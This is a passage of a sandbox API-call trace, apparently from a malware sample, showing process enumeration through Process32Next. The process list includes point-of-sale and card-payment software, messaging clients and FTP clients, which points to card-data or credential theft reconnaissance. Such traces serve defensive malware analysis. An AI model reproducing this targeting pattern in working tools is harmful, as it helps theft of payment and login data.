th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0208.306] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0208.308] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0208.311] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0208.314] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0208.317] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0208.319] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0208.321] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0208.324] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0208.326] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0208.328] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0208.330] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0208.334] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0208.337] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0208.340] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0208.342] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0208.344] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0208.346] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0208.350] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0208.352] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0208.354] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0208.356] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0208.358] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0208.360] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0208.362] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.364] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0208.366] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0208.368] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.369] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0208.371] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0208.373] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0208.375] CloseHandle (hObject=0x11c8) returned 1 [0208.375] Sleep (dwMilliseconds=0x64) [0208.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0208.507] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.510] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.512] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.514] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.515] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.517] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.524] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.673] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.675] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.676] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.678] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.680] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.682] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.684] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.686] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.688] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0208.689] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.691] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.693] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0208.695] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0208.696] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0208.698] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0208.700] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0208.701] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0208.703] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.705] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.707] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.709] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0208.710] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.712] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0208.713] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0208.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0208.717] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0208.719] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0208.720] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0208.722] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0208.724] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0208.726] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0208.728] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0208.730] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0208.732] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0208.733] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0208.735] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0208.737] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0208.739] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0208.741] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0208.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, 